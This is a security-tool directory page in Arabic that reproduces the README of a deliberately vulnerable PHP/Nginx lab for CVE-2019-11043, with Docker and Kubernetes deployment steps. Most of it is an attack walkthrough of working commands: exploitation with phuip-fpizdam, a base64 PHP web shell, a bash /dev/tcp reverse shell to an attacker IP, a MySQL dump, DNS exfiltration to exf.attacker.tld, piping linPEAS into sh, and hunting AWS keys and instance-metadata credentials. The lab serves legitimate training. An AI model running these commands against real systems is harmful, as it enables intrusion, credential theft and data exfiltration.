Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ctf-cve-2019-11043 | Kitploit
أدوات/GitHubGitHub/a1ex-var1amov/ctf-cve-2019-11043
تصعيد الامتيازاتأمن الحاوياتتحليل الثغرات الأمنيةاستغلال تطبيقات الويبتسريب البياناتما بعد الاستغلالCTFأمن السحابةالتعلم والتعليمأمن قواعد البياناتمختبرات وتدريب عملي
منذ 11 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
a1ex-var1amov/ctf-cve-2019-11043

ctf-cve-2019-11043

عرض المستودع

تطبيق إدارة المهام (مختبر CVE-2019-11043)

تطبيق PHP بسيط مع إعداد Nginx/PHP-FPM هشّ عن قصد لإعادة إنتاج CVE-2019-11043. يتضمن مدير مهام صغيرًا، وصفحة تسجيل دخول/إدارة، وواجهة إعداد قاعدة بيانات.

البناء والتشغيل (Docker)

root@kitploit:~
# build
docker build -t cve-2019-11043-lab:app .

# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app

# open
open http://localhost:8080/

بدء الاستغلال السريع

استخدم phuip-fpizdam ضد status.php، ودعه يكتشف المعاملات، ثم أعد التشغيل باستخدام --skip-detect.

root@kitploit:~
~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"

دعم قاعدة البيانات

يدعم التطبيق كلاً من SQLite وMySQL مع الكشف التلقائي:

SQLite (الافتراضي)

  • DSN: sqlite:/var/www/html/data/app.sqlite
  • لا يتطلب مصادقة
  • إعداد تلقائي - يتم إنشاء ملف قاعدة البيانات عند أول تشغيل
  • مثالي للتطوير والاختبار

MySQL (اختياري)

  • DSN: mysql:host=hostname;port=3306;dbname=database;charset=utf8mb4
  • يتطلب مصادقة باسم مستخدم وكلمة مرور
  • تجاوز متغيرات البيئة لنشر Kubernetes

متغيرات البيئة

عند تعيين متغيرات البيئة هذه، فإنها تتجاوز DSN تلقائيًا:

  • DB_HOST - اسم مضيف قاعدة البيانات
  • DB_PORT - منفذ قاعدة البيانات (الافتراضي: 3306)
  • DB_NAME - اسم قاعدة البيانات
  • DB_USER - اسم مستخدم قاعدة البيانات
  • DB_PASS - كلمة مرور قاعدة البيانات

الترحيلات التلقائية

  • يقوم التطبيق بتشغيل الترحيلات عند الطلب بناءً على الطلبات (مثل index.php وlogin.php وadmin.php).
  • تصل فحوصات K8s إلى /health.php، الذي يتحقق أيضًا من اتصال قاعدة البيانات.
  • لا حاجة إلى وظيفة ترحيل خارجية أو PHP محلي.

النشر على Kubernetes (EKS)

ملفات النشر موجودة في k8s/:

  • k8s/secret.yaml: بيانات اعتماد MySQL (مواضع نائبة في stringData)
  • k8s/mysql-deployment.yaml: نشر MySQL + خدمة
  • k8s/app-deployment.yaml: نشر التطبيق (بصلاحيات موسّعة) + خدمة؛ يثبّت Secret ويضبط متغيرات بيئة قاعدة البيانات
  • k8s/ingress.yaml: توجيه Nginx Ingress إلى التطبيق

يستخدم النص البديل للصورة quay.io – غيّر quay.io/your-org/cve-2019-11043-lab:app إلى مستودعك.

ترتيب التطبيق:

root@kitploit:~
kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml

يفترض Ingress وجود وحدة تحكم Nginx Ingress وإعداد DNS/hosts لـ taskapp.local يشير إلى عنوانها.

هيكل المشروع

  • public/: جذر الويب (نقاط الدخول)
  • app/: أدوات مساعدة للتطبيق (الإعداد، قاعدة البيانات، المصادقة، الإصدار)
  • php/: تجاوزات PHP-FPM ini
  • k8s/: ملفات Kubernetes
  • data/: بيانات وقت التشغيل (قاعدة بيانات SQLite، الإعداد)

المدير الافتراضي

سجّل الدخول من /login.php باستخدام admin / admin (التلميح في الواجهة مخفي عبر CSS).

واجهة إعداد قاعدة البيانات

ادخل إلى /db_config.php بصلاحية المدير من أجل:

  • عرض حالة قاعدة البيانات الحالية ونوعها
  • التبديل بين SQLite وMySQL
  • إعداد معاملات الاتصال
  • الاطلاع على أمثلة الاتصال لكلا نوعي قاعدة البيانات

إخلاء المسؤولية

هذه بيئة هشّة عن قصد. لا تعرّضها لشبكات غير موثوقة.

بناء صورة متعددة المنصات (Buildx)

قم ببناء صورة متعددة المعماريات (linux/amd64، linux/arm64) ودفعها إلى quay.io.

المتطلبات الأساسية: Docker Buildx (مضمّن في Docker Desktop). محاكاة QEMU اختيارية: docker run --privileged --rm tonistiigi/binfmt --install all.

root@kitploit:~
# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app

# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap

# build and push multi-arch image
docker buildx build \
  --platform linux/amd64,linux/arm64 \
  -t "$IMG" \
  -t "${IMG}-$(date +%Y%m%d)" \
  --push .

# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"

اختبار شامل مع phuip-fpizdam (نسخ/لصق)

عيّن الأهداف:

root@kitploit:~
BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"

الاستغلال (كشف تلقائي، ثم تشغيل نهائي):

root@kitploit:~
~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"

أفلت قشرة ويب صغيرة وتحقق من التنفيذ:

root@kitploit:~
# write /public/sh.php (cmd runner) via exploit's RCE primitive (examples vary by tool output)
# alternatively, if you have RCE already, you can curl it directly from your host:
curl -s "$BASE/" -o /dev/null # warmup
# minimal cmd runner served from your host
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# deliver via RCE or any write primitive to /var/www/html/public/sh.php
# validate:
curl -s "$BASE/sh.php?c=whoami"

تابع مع تمارين المختبر لما بعد الاستغلال أدناه من أجل القشرة العكسية، وتفريغ MySQL، واستخراج DNS TXT، وlinPEAS، والبحث عن مفاتيح AWS.

تمارين المختبر لما بعد الاستغلال (لهذا المختبر فقط)

هذه الخطوات مخصصة للاستخدام التعليمي في بيئة هذا المختبر فقط.

عيّن عنوانك الأساسي وعنوان IP للمهاجم:

root@kitploit:~
BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444

1) احصل على تنفيذ أوامر وأفلت قشرة ويب بسيطة

بعد استغلال CVE-2019-11043 باستخدام phuip-fpizdam، استخدم بدائية RCE لكتابة قشرة ويب صغيرة. إذا كان لديك بالفعل قشرة داخل الحاوية، نفّذ ما يلي:

root@kitploit:~
# write /public/sh.php with a minimal cmd runner
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null

إذا كان لديك RCE فقط (بدون قشرة)، فنفّذ نفس عملية الكتابة base64 عبر بدائية RCE (على سبيل المثال، من خلال أداة الاستغلال).

تحقق:

root@kitploit:~
curl -s "$BASE/sh.php?c=whoami"

2) whoami

root@kitploit:~
curl -s "$BASE/sh.php?c=whoami"

3) محاولة القشرة العكسية (bash /dev/tcp)

على جهاز المهاجم لديك:

root@kitploit:~
nc -lvnp "$ATTACKER_PORT"

شغّل من الهدف (أمر مشفّر بتنسيق URL):

root@kitploit:~
ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

إذا لم يتوفر bash، جرّب:

root@kitploit:~
ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

4) النسخ الاحتياطي لـ MySQL (تفريغ)

الخيار أ (مسار مشغّل المجموعة):

root@kitploit:~
kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz

الخيار ب (عبر قشرة ويب باستخدام PHP PDO): اكتب سكربت تفريغ سريعًا يستخدم إعداد التطبيق:

root@kitploit:~
# create /public/dump.php using the web shell RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
  $rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
  echo "-- Table: {$t}\n";
  echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP

# fetch the dump
curl -s "$BASE/dump.php" | tee dump.json

5) استخراج البيانات عبر DNS TXT (مثال توضيحي)

وجّه نطاق اختبار تتحكم فيه (مثل exf.attacker.tld) إلى خادم أسماء تلتقط عليه (مثل dnschef أو bind). ثم من الهدف، شغّل استعلامات DNS تحمل أجزاءً من البيانات:

root@kitploit:~
# minimal PHP-based exfil using DNS queries
PHPONE='php -r '\''$d=file_get_contents("/var/www/html/public/dump.php");$b=base64_encode($d);$c=str_split($b,40);foreach($c as $i=>$x){gethostbyname("$i.".$x.".exf.attacker.tld");usleep(50000);} echo "done\n"; '\''' 
curl -g --data-urlencode c="$PHPONE" "$BASE/sh.php"

راقب الاستعلامات على خادم الأسماء لديك؛ وأعد بناء البيانات من التسميات.

6) جلب وتشغيل linPEAS (تعداد تصعيد الصلاحيات)

root@kitploit:~
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

7) البحث عن مفاتيح AWS

root@kitploit:~
# env vars
curl -s "$BASE/sh.php?c=env" | grep -E 'AWS_|AKIA'

# filesystem (possible secrets mounted, configs, code)
curl -s "$BASE/sh.php?c=grep -R --exclude-dir=proc --exclude-dir=sys -E "'"'AKIA[0-9A-Z]{16}'"'" / 2>/dev/null"

# instance metadata (if reachable; usually blocked from pods)
curl -s "$BASE/sh.php?c=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" || true

مرة أخرى: نفّذ هذه الخطوات فقط داخل هذا المختبر. لا تختبر أبدًا أنظمة لا تملكها أو ليس لديك إذن صريح لتقييمها.

تنزيل الأداة